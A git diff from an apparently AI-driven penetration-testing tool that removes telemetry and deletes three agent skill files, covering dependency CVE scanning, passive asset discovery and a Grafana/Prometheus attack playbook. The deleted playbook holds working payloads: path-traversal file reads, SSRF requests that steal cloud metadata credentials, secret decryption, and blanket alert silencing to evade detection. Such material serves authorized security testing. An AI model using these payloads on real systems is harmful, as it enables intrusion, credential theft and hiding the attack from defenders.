``LocalDir`` entry copied into the container as before.
"""
entries: dict[str | Path, BaseEntry] = {}
bind_mounts: list[dict[str, Any]] = []
staged_dirs: list[Path] = []
for src in local_sources:
ws_subdir = src.get("workspace_subdir") or ""
host_path = src.get("source_path") or ""
@@ -60,11 +54,8 @@ def build_session_entries(
}
)
else:
upload_path, staged = stage_symlink_safe_dir(resolved)
if staged is not None:
staged_dirs.append(staged)
entries[ws_subdir] = LocalDir(src=upload_path)
return entries, bind_mounts, staged_dirs
entries[ws_subdir] = LocalDir(src=resolved)
return entries, bind_mounts
async def create_or_reuse(
@@ -84,7 +75,7 @@ async def create_or_reuse(
logger.info("Reusing existing sandbox session for scan %s", scan_id)
return cached
entries, bind_mounts, staged_dirs = build_session_entries(local_sources)
entries, bind_mounts = build_session_entries(local_sources)
# Caido runs as an in-container sidecar; HTTP(S) traffic from any
# process started via ``session.exec`` (the SDK's Shell tool, etc.)
@@ -115,16 +106,12 @@ async def create_or_reuse(
backend_name,
image,
)
try:
client, session = await backend(
image=image,
manifest=manifest,
exposed_ports=(_CONTAINER_CAIDO_PORT,),
bind_mounts=bind_mounts,
)
finally:
for staged in staged_dirs:
shutil.rmtree(staged, ignore_errors=True)
client, session = await backend(
image=image,
manifest=manifest,
exposed_ports=(_CONTAINER_CAIDO_PORT,),
bind_mounts=bind_mounts,
)
caido_endpoint = await session.resolve_exposed_port(_CONTAINER_CAIDO_PORT)
scheme = "https" if caido_endpoint.tls else "http"
@@ -167,19 +154,11 @@ async def cleanup(scan_id: str) -> None:
except Exception: # noqa: BLE001
logger.debug("cleanup(%s): caido_client.aclose() raised", scan_id, exc_info=True)
client = bundle["client"]
try:
await client.delete(bundle["session"])
await bundle["client"].delete(bundle["session"])
logger.info("Cleaned up sandbox session for scan %s", scan_id)
except Exception:
logger.exception(
"cleanup(%s): client.delete raised; container may need manual reaping",
scan_id,
)
docker_client = getattr(client, "docker_client", None)
if docker_client is not None:
try:
docker_client.close()
except Exception: # noqa: BLE001
logger.debug("cleanup(%s): docker_client.close() raised", scan_id, exc_info=True)
-1
View File
@@ -41,7 +41,6 @@ The skills are dynamically injected into the agent's system prompt, allowing it
Notable source-aware skills:
- `source_aware_whitebox` (coordination): white-box orchestration playbook
- `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow
- `dependency_cve_scanning` (custom): trivy-based SCA workflow for reporting known dependency CVEs via `create_dependency_report`
---
+3 -18
View File
@@ -1,11 +1,9 @@
import logging
import re
import threading
from collections import Counter
from collections.abc import Iterator
from pathlib import Path
from strix.telemetry import posthog, scarf
from strix.utils.resource_paths import get_strix_resource_path
@@ -138,10 +136,10 @@ def _bare_skill_files(skill_name: str) -> list[Path]:
key = (_ROOT_SKILL_CATEGORY, skill_name)
if key in seen:
continue
root_candidate = _qualified_skill_file(skills_dir, _ROOT_SKILL_CATEGORY, skill_name)
if root_candidate is not None:
candidate = _qualified_skill_file(skills_dir, _ROOT_SKILL_CATEGORY, skill_name)
if candidate is not None:
seen.add(key)
candidates.append(root_candidate)
candidates.append(candidate)
return candidates
@@ -179,18 +177,6 @@ def validate_requested_skills(skill_list: list[str], max_skills: int = 5) -> str
return None
def _track_skill_loaded(skill_name: str, file_path: Path) -> None:
builtin = get_strix_resource_path("skills")
if not file_path.is_relative_to(builtin):
skill_name = "custom"
def _send() -> None:
posthog.skill_loaded(skill_name)
scarf.skill_loaded(skill_name)
threading.Thread(target=_send, daemon=True).start()
def _candidate_skill_files(skill_name: str) -> list[Path]:
"""Resolve *skill_name* to effective matching files."""
if "/" in skill_name:
@@ -230,7 +216,6 @@ def load_skills(skill_names: list[str]) -> dict[str, str]:
var_name = skill_name.split("/")[-1]
skill_content[var_name] = _FRONTMATTER_PATTERN.sub("", content).lstrip()
logger.debug("Loaded skill: %s -> %s", skill_name, var_name)
_track_skill_loaded(var_name, file_path)
logger.debug("load_skills: %d skill(s) resolved", len(skill_content))
return skill_content
@@ -1,138 +0,0 @@
---
name: dependency-cve-scanning
description: Supply-chain / SCA playbook — scan repository lockfiles for known dependency CVEs and report them with create_dependency_report (no dynamic PoC required)
---
# Dependency / Supply-Chain CVE Scanning (SCA)
Use this skill on white-box / repository scans to make sure a repository pinning a
**known-vulnerable dependency** is actually reported as a finding, instead of being
discovered and then silently dropped because it cannot be dynamically exploited.
Known-CVE dependency findings are a first-class deliverable. Report each one with
the dedicated `create_dependency_report` tool.
## Why this skill exists
A vulnerable dependency pinned in a lockfile (e.g. `lodash@4.17.4` with a known
prototype-pollution CVE) usually cannot be dynamically PoC'd from the outside —
the vulnerable code path may not even be reachable from a running endpoint. The
normal "no report without a dynamic PoC" rule would suppress it. For these
findings the proof is the **lockfile entry + scanner output + published
advisory**, not an exploit script. This is the one explicit exception to the
dynamic-validation rule, and it exists only for `create_dependency_report`.
## Scan procedure
Run from the repo root and store output in the shared artifact directory used by
the source-aware pass:
```bash
ART=/workspace/.strix-source-aware
mkdir -p "$ART"
# Record the vuln DB age so a stale DB is a visible signal, not a silent clean scan.
trivy version --format json 2>/dev/null | tee "$ART/trivy-version.json"
# inspect .VulnerabilityDB.UpdatedAt / NextUpdate
# Lockfile/manifest -> known-CVE matching. Try a best-effort DB refresh first so a
# sandbox with egress gets the freshest CVEs; if the update fails, fall back to the
# cached DB instead of failing the scan. --offline-scan keeps per-package advisory
# lookups offline.
trivy fs --scanners vuln --timeout 30m --offline-scan \
--format json --output "$ART/trivy-sca.json" . \
|| trivy fs --scanners vuln --timeout 30m --offline-scan --skip-db-update \
--format json --output "$ART/trivy-sca.json" . \
|| true
```
If `.VulnerabilityDB.UpdatedAt` is more than a few weeks old (the sandbox had no
egress to refresh it), treat it as a scan limitation and note it in the
`assumptions` of dependency findings — a stale DB that still returns *some* results
will not trip the "zero results is suspicious" heuristic, so its age is the only
staleness signal.
Trivy reads the lockfiles/manifests it finds, including:
`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `poetry.lock`,
`requirements.txt`, `Pipfile.lock`, `go.mod`/`go.sum`, `Gemfile.lock`,
`pom.xml`/`gradle.lockfile`, `Cargo.lock`, `composer.lock`, etc.
If trivy returns zero vulnerabilities on a repo with dependencies, treat it as
suspicious: confirm the vuln DB is present (`trivy-version.json`) and that
lockfiles exist.
## Interpreting results
For each entry under `.Results[].Vulnerabilities[]` in `trivy-sca.json`, collect:
- `VulnerabilityID` — the CVE (or GHSA; prefer the CVE if both are present)
- `PkgName` and `InstalledVersion` — the affected package + pinned version
- `FixedVersion` — the version that resolves it
- `Target` — the lockfile path it came from
- `.Results[].Type` (e.g. `npm`, `pip`, `gomod`, `pom`, `gemspec`, `cargo`) — the
package ecosystem; normalize to the registry name lowercased (`npm`, `pypi`,
`go`, `maven`, `rubygems`, `cargo`, `composer`, `nuget`, ...)
- `CVSS` — the published advisory base score
- `PrimaryURL` / references — to verify the advisory
Deduplicate by `(CVE, PkgName, InstalledVersion)`. File one
`create_dependency_report` per CVE — do not batch multiple CVEs into one report.
### Reachability is a confidence modifier, not a gate
Do NOT suppress or downgrade a known CVE just because you could not prove the
vulnerable code path is reachable. Report it, set `advisory_cvss` from the
advisory, and use `assumptions` to note reachability (e.g. "the vulnerable
`template()` API does not appear to be imported in application code, so practical
exploitability is uncertain"). If you *can* show reachability or chain it into a
dynamic exploit, do that and report it as a normal dynamic finding with
`create_vulnerability_report` instead.
## Reporting
Report each confirmed known CVE with the dedicated `create_dependency_report`
tool (NOT `create_vulnerability_report` — that tool is for dynamically validated
findings and rejects empty PoC fields):
- Set `cve` to the verified `CVE-YYYY-NNNNN` id (required). If you only have a
GHSA, look up the mapped CVE; if there is genuinely no CVE, do not report it
with this tool.
- There are no PoC fields — `create_dependency_report` does not take
`poc_description` / `poc_script_code` / `code_locations`. The proof lives in
`description` and `technical_analysis` (scanner output + advisory).
- **Always fill the structured dependency fields** (they power the dedicated
dependency-report card; do not leave them only in free-text):
- `package_name``PkgName` (required).
- `installed_version``InstalledVersion` (required).
- `package_ecosystem` — normalized ecosystem from `.Results[].Type` (lowercased,
e.g. `npm`, `pypi`, `go`, `maven`, `rubygems`, `cargo`) (required).
- `fixed_version``FixedVersion` (leave empty only if no fix is published).
- Reference the repo-relative `Target` lockfile path in `description` /
`technical_analysis` (no leading slash) so the finding is traceable.
- Put the concrete proof in `description` / `technical_analysis`: package name,
installed/affected version, fixed version, lockfile path, and the relevant
trivy output excerpt.
- **Always set `advisory_cvss` to the published advisory base score (0.010.0).**
Severity is derived *solely* from this number: read it off the advisory (`CVSS`
in trivy output, or the NVD/GHSA page) and pass the real value. The tool rejects
a call that omits it, because guessing a score both inflates low CVEs and
deflates critical ones.
- Set `cwe` to the most specific `CWE-NNN` when the advisory names one.
- Do NOT cap severity at LOW just because there is no dynamic reproduction — use
the advisory score.
- Use `assumptions` for reachability/exploitability caveats.
Verify the CVE with `web_search` when available before reporting. Never guess or
hallucinate a CVE id.
## Anti-patterns
- Do not report a dependency CVE with `create_vulnerability_report`; use
`create_dependency_report`.
- Do not report a finding without a verified CVE id.
- Do not batch multiple CVEs into one report.
- Do not omit `advisory_cvss` — the tool rejects it, and it is the single input
that determines dependency severity.
- Do not silently drop a known CVE because it lacks a dynamic PoC — that is the
exact failure this skill prevents.
- Do not downgrade advisory severity for lack of dynamic reproduction.
-5
View File
@@ -121,11 +121,6 @@ trivy fs --scanners vuln,misconfig --timeout 30m --offline-scan \
--format json --output /workspace/.strix-source-aware/trivy-fs.json . || true
```
Known-CVE dependency findings are the one exception to the "report only after
dynamic validation" rule below: report each one with `create_dependency_report`
(not `create_vulnerability_report`), setting `advisory_cvss` from the published
advisory. `load_skill(["dependency_cve_scanning"])` for the full SCA workflow.
## JavaScript-Side Coverage
For frontends and Node services, layer these on top of the language-agnostic
@@ -1,151 +0,0 @@
---
name: asset-discovery
description: Passive asset and attack-surface discovery via certificate transparency, TLS SAN pivoting, passive DNS, and ASN/IP enumeration to find hosts beyond subdomain brute force
---
# Asset Discovery
Most engagements start from a small seed (one domain, one org name) but the real attack surface is far larger: forgotten hosts, staging/internal-named services, acquisitions, and infrastructure that never appears in a wordlist. Build a broad, deduplicated inventory using passive intelligence — certificate transparency, TLS certificate metadata, passive DNS, and ASN/IP data — then collapse it into a probed, classified attack surface. The aim is coverage and pivoting: every certificate, DNS record, and IP is a lead to more assets.
Only use this skill when all subdomains and related assets of the target are in scope — broad discovery pulls in hosts far beyond the seed.
## Attack Surface
- Hosts discoverable via issued certificates (CT logs) but absent from DNS brute force
- Internal/staging/pre-prod hostnames leaked in certificate SAN lists
- Sibling and acquisition domains sharing certificates, ASNs, or IP ranges with the seed
- Wildcard and short-lived certs revealing naming conventions (`*.internal.example.com`, `k8s-*`, `argocd.*`)
- ASN-owned IP ranges hosting services with no DNS name at all
- Virtual hosts co-located on shared IPs (multiple apps behind one address)
- Non-HTTP services on discovered hosts (databases, brokers, admin ports)
## High-Value Sources
### Certificate Transparency (CT)
CT logs record nearly every publicly-trusted certificate. Query by domain (matches SAN/CN) and by organization name.
- **crt.sh** (free, no key):
- By domain incl. subdomains: `curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sed 's/^\*\.//' | sort -u`
- By organization: `https://crt.sh/?O=Example+Inc&output=json`
- **Censys / Shodan / Fofa** (API keys): search certs by `parsed.names`, `parsed.subject.organization`, or a specific `fingerprint_sha256`, then pivot to every host serving that cert.
- Cross-check multiple indexes (`certspotter`, Google CT, `chaos`) — no single log is complete.
- **Wildcards** (`*.corp.example.com`) reveal internal naming schemes even when individual hosts resolve privately; use them to seed targeted guesses (`grafana.corp`, `ci.corp`, `vault.corp`).
### TLS Certificate SAN/CN
- **SAN expansion**: one cert often lists many hostnames (marketing + api + admin + internal) — extract every SAN, not just the queried name.
- **Shared-cert pivot**: the same cert fingerprint served on multiple IPs ties disparate assets to one owner.
- **Issuer/org pivot**: certs sharing `subject.organization`/`organizationalUnit` frequently belong to the same target.
- **Active read** catches names never submitted to public CT: `echo | openssl s_client -connect HOST:443 -servername HOST 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'`
- **Internal leak signal**: SANs like `localhost`, `*.internal`, `*.svc.cluster.local`, `*.local`, or RFC1918-style names on a public cert expose internal naming and sometimes internal services fronted publicly.
### Passive DNS
- Forward-resolve every name (A/AAAA/CNAME); keep CNAME chains — they reveal third-party providers and CDNs.
- **Reverse DNS (PTR)** on discovered IPs surfaces co-located hostnames.
- **Historical/passive DNS** (SecurityTrails, VirusTotal, `chaos`, passivedns providers) recovers names that no longer resolve but may still front live infra.
### ASN & IP Ranges
- Map a known IP to its ASN and netblock: `whois -h whois.cymru.com " -v <IP>"` or a BGP/ASN lookup.
- If the org runs its own ASN, enumerate all announced prefixes and treat them as candidate assets.
- For cloud-hosted targets the IP belongs to the provider, not the org — pivot via cert/vhost instead of netblock.
## Recommended Tooling
Prefer the projectdiscovery suite (already available in the sandbox and pipeline-friendly with JSON output):
- **`subfinder`** — passive subdomain aggregation across many sources incl. CT: `subfinder -d example.com -all -recursive -silent -oJ -o subs.jsonl`
- **`tlsx`** — TLS/cert data at scale; grab SANs and issuer/org to pivot: `tlsx -l hosts.txt -san -cn -tls-version -json -o tls.jsonl`
- **`uncover`** — query Shodan/Censys/Fofa/Quake/crt.sh engines from one CLI: `uncover -q 'ssl:"Example Inc"' -e shodan,censys,fofa -json`
- **`asnmap`** — org/domain/ASN → CIDR ranges: `asnmap -d example.com -json` / `asnmap -org "Example Inc"`
- **`mapcidr`** — expand/aggregate CIDRs into host lists for probing: `mapcidr -cidr 192.0.2.0/24 -o hosts.txt`
- **`dnsx`** — fast resolution, PTR, and wildcard filtering: `dnsx -l names.txt -a -aaaa -cname -ptr -resp -json -o dns.jsonl`
- **`httpx`** — live probing + cert grab in one pass (see methodology).
- **`naabu`** — port sweep for non-HTTP services: `naabu -list hosts.txt -top-ports 100 -verify -silent`
Also useful: **`amass`** (`amass intel`/`enum` for ASN, cert, and passive sources), **`cero`** (bulk SAN extraction from IPs/ranges), and direct **crt.sh** JSON queries when no keys are configured. Cross-source results — CT + passive DNS + `subfinder` together beat any single source.
## Key Techniques
### Iterative Seed Expansion
Every new name, PTR result, CNAME target, and cert SAN becomes a fresh seed. Loop CT → SAN extraction → passive DNS → ASN/range expansion until the asset set stops growing.
### Cert-Fingerprint Pivoting
Search Censys/Shodan (or `uncover`) by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target.
### Naming-Convention Inference
Wildcard SANs and observed hostnames expose the org's naming scheme; generate targeted candidates from it (`<service>.<env>.example.com`) rather than blind brute force.
### IP-First Discovery
For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`tlsx`) to find services that have no DNS name at all.
## Advanced Techniques
- **Active SAN harvesting** across whole ranges with `tlsx`/`cero` recovers internal hostnames never logged to public CT.
- **Favicon and response hashing** (`httpx -favicon`, hash pivots in Shodan) clusters instances of the same app across unrelated hostnames.
- **Vhost differentials**: probe a single IP with multiple `Host:` values to unmask co-located apps behind one address.
- **Historical CT/DNS diffing** highlights recently issued certs and newly appearing hosts — high-signal for fresh or misconfigured deployments.
## Consolidation & Probing
1. **Dedupe** names and IPs into one inventory; record source(s) per asset for confidence.
2. **Live probe** with `httpx`, capturing status/title/tech/server and cert SANs in one pass — each grabbed SAN feeds back as a new seed:
`httpx -l hosts.txt -sc -title -server -td -tls-grab -json -o assets.jsonl`
3. **Classify** assets by function from title/tech/path signals: app, API, marketing, auth, CI/CD, observability, storage, admin, VCS, mail. Cluster by role, not by a specific product.
4. **Port sweep** interesting hosts with `naabu` for non-HTTP services (DBs, caches, brokers, mgmt ports).
5. **Prioritize** by exposure and value, then hand each finding to the right specialist skill:
- Exposed dashboards / debug / observability / metadata leaks → `information_disclosure`
- Login/admin panels with default or weak creds → `weak_password_detection`
- Dangling DNS / unclaimed provider resources → `subdomain_takeover`
- Cloud consoles/metadata surfaces → `aws` / `gcp` / `kubernetes`
## Testing Methodology
1. **Seed** - domains, org/legal names, known IPs, email domains, code-host org
2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, `uncover`)
3. **SAN/CN extraction** - parse every Subject CN and SAN with `tlsx`; each new name is a new seed
4. **Passive DNS** - resolve forward and reverse with `dnsx`; harvest historical records
5. **ASN/IP mapping** - `asnmap``mapcidr` to expand owned ranges, then sweep for live hosts
6. **Active TLS pivot** - `tlsx`/`cero` on live IPs/ports to grab SANs missing from public CT
7. **Consolidate & probe** - dedupe, `httpx` probe, classify, and route to specialists
## Validation
1. Confirm each discovered asset actually resolves and serves content (live `httpx` result, not just a passive hit)
2. Attribute assets to the target via matching cert org, shared cert fingerprint, or DNS under a seed domain
3. Deduplicate vhost aliases and CDN edges down to distinct origins so the surface is not inflated
4. Record provenance (which source produced each asset) for reproducibility
## False Positives
- CDN/edge hostnames and provider default names that are not org-owned
- Shared-hosting neighbors on the same IP (vhost co-tenancy, not the target's asset)
- Stale historical DNS entries pointing at reassigned infrastructure
- Wildcard-cert-implied hostnames that never actually resolve or serve content
## Impact
- Expanded attack surface: forgotten, staging, and internal-named hosts brute force misses
- Discovery of misconfigured or unauthenticated services fronted by leaked internal hostnames
- Attribution of shadow infra, acquisitions, and sibling domains to the target
- A prioritized, classified inventory that feeds every downstream specialist skill
## Pro Tips
1. Loop the pipeline — every SAN, PTR, and CNAME target is a new seed until the set converges.
2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan via `uncover` add cert-fingerprint and vhost pivoting when keys exist.
3. Always cert-grab live hosts with `tlsx` — active SANs catch internal hostnames never sent to public CT.
4. Internal-looking SANs (`*.internal`, `*.svc.cluster.local`, staging names) are the highest-signal leads.
5. Wildcard SANs reveal naming conventions — seed targeted guesses instead of blind brute force.
6. Cluster by function, not product name, so the workflow generalizes to any exposed service.
7. Keep JSON output throughout so stages chain cleanly (`subfinder``dnsx``httpx``naabu`).
## Summary
Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with the projectdiscovery suite, probe and classify it generically, then route each interesting asset to the specialist skill for its class.
@@ -1,189 +0,0 @@
---
name: grafana_prometheus
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
---
# Grafana & Prometheus (Observability Stack)
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
## Attack Surface
**Grafana** (default `:3000`)
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
**Prometheus** (default `:9090`)
- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
**Alertmanager** (default `:9093`)
- Alert/silence API (`/api/v2/*`), config with receiver credentials
**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
## Reconnaissance
**Fingerprint & version** (version drives which CVEs apply)
```
GET /api/health # Grafana: {"version":"...","commit":"..."}
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
GET /login # Grafana login page / footer version
GET /api/v1/status/buildinfo # Prometheus version
GET /metrics # any exporter → prometheus/node/go_* series
```
**Auth posture — always test unauthenticated first**
```
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
GET /?orgId=1 # anonymous access enabled? lands on dashboards
GET /api/v1/targets # Prometheus: 200 = no auth
GET /api/v2/status # Alertmanager: 200 = no auth
```
**Credential entry points**
- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
## Key Vulnerabilities & CVEs
### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
```
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
```
High-value reads:
- `/etc/grafana/grafana.ini` and `conf/defaults.ini``secret_key`, admin password, SMTP/LDAP creds
- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
Grafana **v11.0.011.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
- Mitigation you'll see: remove `duckdb` from PATH.
### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
```
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
No creds needed when anonymous access is on (common in demo/lab).
### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
## Pivoting: Observability → Deeper Compromise
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
```
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
"url":"http://169.254.169.254"} # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
# → /computeMetadata/v1/instance/service-accounts/default/token
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
```
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
### 2. Grafana admin → harvest every backend credential
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
```
GET /api/datasources # host, port, db, user for 515 backends
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
```
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
### 3. Prometheus config/targets → leaked scrape credentials + inventory
```
GET /api/v1/status/config # loaded prometheus.yml
GET /api/v1/targets # every scrape target + discovery metadata labels
```
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
Metrics are a recon goldmine. Query without auth:
```
GET /api/v1/query?query=up # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info # kernel/OS/host
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
```
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
```
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
```
- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
## Testing Methodology
1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
## Validation
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
## False Positives / Down-rate
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
